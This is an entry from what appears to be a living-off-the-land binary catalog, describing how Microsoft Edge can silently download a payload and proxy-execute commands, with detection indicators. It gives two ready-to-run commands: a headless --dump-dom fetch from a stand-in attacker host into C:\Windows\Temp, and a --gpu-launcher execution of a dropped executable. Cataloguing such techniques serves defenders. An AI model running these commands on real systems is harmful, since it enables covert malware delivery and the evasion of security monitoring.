Catalog DÆMON

DMN · Tool

msedge.exe

1 technique Windows · macOS · LinuxDÆMON GPL-3.0

Download

NEW
File DownloadExecution WindowsmacOSLinux

Chromium browsers (Edge is preinstalled and signed; chrome.exe behaves identically) print the rendered DOM to stdout with --headless --dump-dom, letting an operator pull a base64 payload disguised as an .html page with no classic downloader on the command line. The --gpu-launcher switch runs an arbitrary command as a child of the signed browser (system binary proxy execution).

Use Silently download a payload via a trusted browser, or proxy-execute a command under a signed browser process.

msedge.exe --headless --enable-logging --disable-gpu --dump-dom "https://attacker.example/x.base64.html" > C:\Windows\Temp\x.b64
msedge.exe --disable-gpu-sandbox --gpu-launcher="C:\Windows\Temp\x.exe &&"
Context
user
Native
Download, Execute
Detection
Detection: browser process (msedge.exe/chrome.exe) with --headless together with --dump-dom, or with --gpu-launcher/--utility-cmd-prefix/--renderer-cmd-prefix; browser redirecting stdout to a file; browser process whose parent is a script host or Office app.
Verified
✓ LOLBAS Msedge.yml (OSBinaries) documents `--headless --enable-logging --disable-gpu --dump-dom` (T1105) and `--disable-gpu-sandbox --gpu-launcher="{CMD} &&"` (T1218.015); reference URL corrected to the OSBinaries YAML path.